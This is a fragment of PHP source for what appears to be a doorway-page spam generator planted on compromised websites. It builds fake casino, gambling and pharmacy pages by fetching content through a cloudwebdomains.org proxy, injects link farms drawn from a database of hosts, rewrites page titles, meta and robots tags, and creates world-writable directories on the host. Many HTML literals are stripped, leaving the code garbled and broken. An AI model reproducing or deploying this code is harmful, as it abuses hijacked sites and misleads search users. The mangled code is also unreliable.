',trim($dopkey_ar[0])).''; } else { $preready_link = '',trim($dopkey_ar[0])).''; } //if(strpos($preready_link,$link_title)!==FALSE){ if($anchor == $old_anchor){ $dopank = file(dirname(__FILE__).'/txtX/dopank.txt'); shuffle($dopank); $link_title = trim($dopank[0]).' '.$link_title.' '.trim($dopank[1]); } $ready_link = str_replace('#TITLE#',$link_title,$preready_link); if(strpos($ready_link,$srvcc)==FALSE){ $ready_link = str_replace('">'.$old_anchor.'','">'.$anchor.'',$ready_link); } return $ready_link; } if (isset($link_for_pars)) { unset($link_for_pars); } $load = $_POST['refxa']; $srv = $_POST['srva']; //$load = 'www.frioclima.com/blackjack-online-joc/'; //$srv = 'www.frioclima.com'; $srv = trim($srv); $ssilka = str_replace('www.','',$load); $srvcc = str_ireplace("www.","",$srv); $srvcc = trim($srvcc); $pgname = md5(trim($ssilka)); if ($srv == '') { die("empty"); } if(!is_dir(dirname(__FILE__).'/themes/pages_new/'.$srvcc.'/')) { mkdir (dirname(__FILE__).'/themes/pages_new/'.$srvcc.'/',0777); } $proverka = file_get_contents(dirname(__FILE__).'/txtX/newkeys/'.$srvcc.'.txt'); $proverka_array = explode("\n",$proverka); $new_prov = Array(); foreach($proverka_array as $proverka_string) { $new_arr = explode('####',$proverka_string); $new_prov[] = $new_arr[0]; } if (in_array('http://'.$ssilka,$new_prov) == FALSE){ $site_page = getFakePage('http://'.$ssilka,"FSNET",$time); if ($site_page = '' OR strlen($site_page)<5) { $site_page = getFakePage('http://www.'.$ssilka,"FSNET",$time); } echo $site_page; exit; } if (is_file(dirname(__FILE__).'/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html')) { $contents = file_get_contents(dirname(__FILE__).'/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html'); $contents = str_replace('http://','http://www.',$contents); $contents = str_replace('https://','https://www.',$contents); $contents = str_replace('www.www.','www.',$contents); $contents = str_replace('/wp-includes/images/','/wp-content/uploads/images/',$contents); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $contents = str_replace('www.'.$srvcc,$srvcc,$contents); } echo $contents; exit; } //if (stripos($proverka,$ssilka)!== FALSE){ if (in_array('http://'.$ssilka,$new_prov)){ $keys = file_get_contents(dirname(__FILE__).'/txtX/newkeys/'.$srvcc.'.txt'); $arr = explode("\n",$keys); $x = 0; while (!isset($our_link)) { if (strpos($arr[$x],$ssilka)!==FALSE){ $our_link = $arr[$x]; } $x++; } $arr3 = explode("####",$our_link); $new_url = parse_url('http://'.$ssilka); $link_for_pars = 'http://'.$new_url['host'].'.cloudwebdomains.org/'.str_replace(' ','-',trim($arr3[1])).'/'; $head = trim($arr3[1]); } elseif (preg_match('/casino|spel|cazino|netissa|speel|roulett|kasino|ruiletti|peliautomaatit|roletti|ruletti|pelia|cashio|spiel|Kazino|slot|bonus|blackjack|slots|roulette|keno|pokies|craps|gamble|gambling|poker|vegas|sitemap|geld|stort|spiel|automaten|deposit|bandiet|gratis|spins|automaat|gokken|gokkast|gokmachine|jackpot|automat|gokmachine|kasten|runner|online|einzahlung|hypotheek/i',$ssilka)) { $link_for_pars = 'http://'.str_replace($srvcc,$srvcc.'.cloudwebdomains.org',$ssilka); $head = str_replace($srvcc.'/','',$ssilka); $head = str_replace('/','',$head); $head = str_replace('-',' ',$head); } if (is_file(dirname(__FILE__).'/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html')) { $shabfile = file_get_contents(dirname(__FILE__).'/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html'); } else { die("TemplateError"); } $de_keys = file(dirname(__FILE__).'/txtX/DE_keys.txt'); foreach ($de_keys as &$e) { $e = preg_replace('/\\r\\n?|\\n/', '', $e); } unset($e); if(in_array(trim($head),$de_keys,true)){ $link_for_pars = str_replace($srvcc,'de-'.$srvcc,$link_for_pars); } if (isset($link_for_pars) AND !preg_match('/\.jpg|\.xml|\.css|\.png|\.gif|\.pdf|\.js/i',$link_for_pars)){ $type = 'X'; function desctxt($fn, $sk, $fk) { $mydesctext = file(dirname(__FILE__) . '/' . $fn); shuffle($mydesctext); $mydesctext = array_slice($mydesctext, $sk, $fk); $mydesctext = array_map('trim',$mydesctext); $mydesctext = implode(" ", $mydesctext); $mydesctext = trim($mydesctext); return $mydesctext; } function keymod($keyword) { $keys = explode(' ',$keyword); $mod = rand(0,2); $k_count = sizeof($keys); if ($mod == 0) { shuffle($keys); } $mod = rand(0,1); $mod2 = rand(0,$k_count); $k2 = $k_count-1; if ($mod == 0) { array_splice($keys,$mod2,$k2); } $keyzz = implode(" ",$keys); return $keyzz; } $dfile_a = preg_match_all("#body *(.*)<\/body>#isU", $shabfile, $out3); $dfile_b = preg_match_all("##isU", $out3[0][0], $out4); $domain_links = file_get_contents(dirname(__FILE__).'/txtX/newkeys/'.$srvcc.'.txt'); $linx_array = explode("\n",$domain_links); $new_links_array = Array(); foreach($linx_array as $linx){ $new_links_array[] = '',$linx).''; } foreach($out4[0] as $bad_old_link){ if(!preg_match('/facebook|instagram|twitter|linkedin|figure|img/i',$bad_old_link)) { $shabfile = str_replace($bad_old_link,$new_links_array[rand(0,count($new_links_array)-1)],$shabfile); } } $dopkey = '-'; $dopkey_array = file(dirname(__FILE__).'/txtX/all_links.txt'); $dopcnt = count($dopkey_array)-1; $dopkey1 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey2 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey3 = trim($dopkey_array[rand(0,$dopcnt)]); $dopkey4 = trim($dopkey_array[rand(0,$dopcnt)]); $dor = getFakePage($link_for_pars,$useragent,$time); $dor = str_replace('.securitywebdomains.com','',$dor); $text = explode('
',$dor); $text2 = explode('
',$text[1]); $new_text = '
'.str_replace('.cloudwebdomains.org','',$text2[0]); if (isset($dopkey)){ mysql_connect($hostname,$username,$password) OR DIE("pesda"); mysql_select_db($dbName) or die(mysql_error()); $query = "SELECT * FROM hosts1 order by 1"; $res = mysql_query($query) or die(mysql_error()); $good_links = array(); while ($row = mysql_fetch_array($res)) { $url = "http://".$row['name']; $url_host = parse_url($url); $urlinfo = $row['name']; if(strpos($row['info'],'DOX_C')!==FALSE) { $good_links[] = str_replace('www.','',$url_host['host']); } } shuffle($good_links); $links_array = array(); $other_links = rand(1,2); $other_x = 0; while($other_x<=$other_links){ $nf_link_rnd = rand(0,99); if ($nf_link_rnd < 35) { $nf_link = 1; } else { $nf_link = 0; } $type_rnd = rand(0,99); if($type_rnd < 40) { $ltype = 1; } if($type_rnd >= 40 AND $type_rnd < 60) { $ltype = 2; } if($type_rnd >= 60 AND $type_rnd < 80) { $ltype = 3; } if($type_rnd >= 80 AND $type_rnd < 90) { $ltype = 4; } if($type_rnd >= 90 AND $type_rnd <= 99) { $ltype = 0; } $links_array[] = getlinks($good_links[$other_x],$dopkey,$nf_link,$ltype); $other_x++; } $host_links = rand(1,2); $host_x = 1; while($host_x<=$host_links){ $nf_link = 0; $ltype = 0; $links_array[] = getlinks($srvcc,$dopkey,$nf_link,$ltype); $host_x++; } foreach($out2[0] as $ou) { $new_text = str_replace($ou,'',$new_text); } $rez_abz = rand(0,11); if($rez_abz < 7){ if($rez_abz <= 2) { $abz_numeric = 3; } if($rez_abz > 2 && $rez_abz <= 5) { $abz_numeric = 2; } if($rez_abz > 5 && $rez_abz <= 6) { $abz_numeric = 1; } $new_text = str_replace("

###KEYWORD$abz_numeric###

","",$new_text); } $links_out = array(); foreach($links_array as $value) { $links_out[] = trim($value); } global $links_out; $_9 = $links_out; $_2 = 7; $_10=$new_text; $_11=false; $_12=""; $_13 = check($_10,""); $_61=strrpos(substr($_53,0,$_59),"<"); if($_60===false){ $_60=0; } if($_61===false) { $_11=true; break; } if($_60<=$_61) { continue; } if(count($_9)<=0) break; $_58=trim(array_shift($_9)); if($_58==NULL || strlen($_58) < 4) { break; } $_53=substr($_53,0,$_59+strlen($_55)).$_58." ".substr($_53,$_59+strlen($_55)); $_57=true; } else { break; } } while(!$_57); if($_11) break; if(count($_9)<=0)break; } $_12=substr($_10,0,$_13).$_53; } else { $_11=true; $_12=$_10; } $new_text=$_12; } $new_content = str_replace('#####TEXT#####',$new_text,$shabfile); $new_content = str_replace('###KEYWORD1###',ucfirst($dopkey1),$new_content); $new_content = str_replace('###KEYWORD2###',ucfirst($dopkey2),$new_content); $new_content = str_replace('###KEYWORD3###',ucfirst($dopkey3),$new_content); $new_content = preg_replace('/\/imgs\/[0-2]0[0-2][0-9]-[0-3][0-9]\//si','/wp-content/uploads/images/',$new_content); $host_in_title = rand(0,1); $dfile_x = preg_match("#(.*)<\/title>#iU", $new_content, $out); $doctit = $out[1]; if (is_file(dirname(__FILE__).'/new_conf/'.$srvcc.'_masktitle.txt')) { $maskoftitle = file_get_contents(dirname(__FILE__).'/new_conf/'.$srvcc.'_masktitle.txt'); } else { $maskoftitle = desctxt('txt'.$type.'/titles.txt', 1, 1); if ($maskoftitle<>'') { $pjt_ar = array(" » ",". "," - "," : "," | "," — "); $pjt = rand(0,5); $promejutok = $pjt_ar[$pjt]; if($host_in_title == 0){ $maskoftitle = $promejutok.$maskoftitle; } else { $hst = explode('.',$srvcc); $x_hst = 0; while($x_hst < count($hst)-1){ $hst_tit = $hst_tit.'.'.trim($hst[$x_hst]); $x_hst++; } $hst_tit = substr ($hst_tit,1); $hst_tit = str_replace('-',' ',$hst_tit); $hst_tit = str_replace('.',' ',$hst_tit); if(preg_match("/[0-9]/isU",$hst_tit)) { $dfile_tit_ar = preg_match_all("#\D\d#sUi",$hst_tit,$tit_ar); foreach($tit_ar[0] as $tt_ar) { $tt_ar = trim($tt_ar); $hst_tit = str_replace($tt_ar,$tt_ar[0].' '.$tt_ar[1],$hst_tit); } } $hst_ar = explode(' ',$hst_tit); foreach($hst_ar as $hh){ $uc_hst_tit = $uc_hst_tit.' '.trim(ucfirst($hh)); } $hst_tit = substr($uc_hst_tit,1); /* $words = file(dirname(__FILE__).'/txtX/words.txt'); foreach($words as $ww){ $ww = trim($ww); $hst_tit = str_replace($ww,ucfirst($ww),$hst_tit); } */ $maskoftitle = $promejutok.$maskoftitle.$promejutok.$hst_tit; } $fpage = fopen(dirname(__FILE__).'/new_conf/'.$srvcc.'_masktitle.txt', "w"); fwrite($fpage,$maskoftitle); fclose($fpage); } } if (is_file(dirname(__FILE__).'/new_conf/'.$srvcc.'_desc.txt')) { $mydesc = file_get_contents(dirname(__FILE__).'/new_conf/'.$srvcc.'_desc.txt'); } else { $mydesc = desctxt('txt'.$type.'/desc.txt', 1, 2); if ($mydesc<>'') { $fpage = fopen(dirname(__FILE__).'/new_conf/'.$srvcc.'_desc.txt', "w"); fwrite($fpage,$mydesc); fclose($fpage); } } //$tit = ucfirst($head).'. '.ucfirst($dopkey1).'. '.ucfirst($dopkey2).'. '.ucfirst($dopkey3).'. '.ucfirst($dopkey4).$maskoftitle; $tit = ucfirst($head).$maskoftitle; $key = "<strong>" . $head . "</strong>"; $titE = "'<title[^>]*?>.*?'si"; $titM = "" . $tit . ""; $desE = "']*?.*?/>'si"; $desM = ''; $dor_desc = ucfirst($head).'. '.ucfirst($dopkey1).', '.ucfirst($dopkey2).'. '.$mydesc.' '.ucfirst($dopkey3).', '.ucfirst($dopkey4); $tagtitE = "']*?.*?/>'si"; $tagtitM = ''; $kE = "']*?.*?>'si"; $kM = ''."\n"; $rbtsE = "']*?.*?>'si"; $rbtsM = ''."\n"; $bdE = "']*?.*?>'si"; $xmlff = preg_match("##iU", $new_content, $outxml); $docxml = $outxml[1]; $kwd = strpos($new_content, 'meta name="keywords"'); if ($kwd==0) { $titM = "\n".$titM."\n".$kM; } $dsc = strpos($new_content, 'meta name="description"'); if ($dsc==0) { $titM = "\n".$titM."\n".$desM; } $new_content = preg_replace($desE, $desM, $new_content); $new_content = preg_replace($kE, $kM, $new_content); $new_content = preg_replace($rbtsE, $rbtsM, $new_content); $new_content = preg_replace($titE, $titM, $new_content); $new_content = preg_replace($tagtitE, $tagtitM, $new_content); $new_content = str_ireplace($docxml,"",$new_content); $new_content = str_replace("","",$new_content); $new_content = str_replace("©","©",$new_content); $ssilka_slash = urlencode('http://'.$ssilka); $canoni_ssilka = $ssilka; $random_digit = rand(1,30); $months = Array('january','february','march','april','may','june','july','august','september','october','november','december'); $random_month_digit = rand(0,count($months)-1); $random_month = $months[$random_month_digit]; $random_month_digit = $random_month_digit + 1; if ($random_month_digit <10){ $random_month_digit = '0'.$random_month_digit; } $new_content = str_replace('###RMONTH###',$random_month,$new_content); $new_content = str_replace('###RMONTHD###',$random_month_digit,$new_content); $new_content = str_replace('###RDIG###',$random_digit,$new_content); $new_content = str_replace('###DORPAGE###','http://'.$ssilka,$new_content); $new_content = str_replace('###CANONI###','http://'.$canoni_ssilka,$new_content); $new_content = str_replace('###DORSLASH###',$ssilka_slash,$new_content); $new_content = str_replace('###DORTITLE###',$tit,$new_content); $new_content = str_replace('###DORDESC###',$dor_desc,$new_content); $new_content = str_replace('###DORHEAD###',ucfirst($head),$new_content); $new_content = str_replace('###PILL###',ucfirst($dopkey),$new_content); $new_content = str_replace('###HOST###',$hst_tit. 'Pharmacy',$new_content); $new_content = str_replace('###HTTPS###','',$new_content); $new_content = str_replace('bot-master.com',$srvcc,$new_content); $new_content = str_replace('http://','http://www.',$new_content); $new_content = str_replace('https://','https://www.',$new_content); $new_content = str_replace('www.www.','www.',$new_content); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $new_content = str_replace('www.'.$srvcc,$srvcc,$new_content); } echo $new_content; if ($new_content<>'empty' || $new_content<>'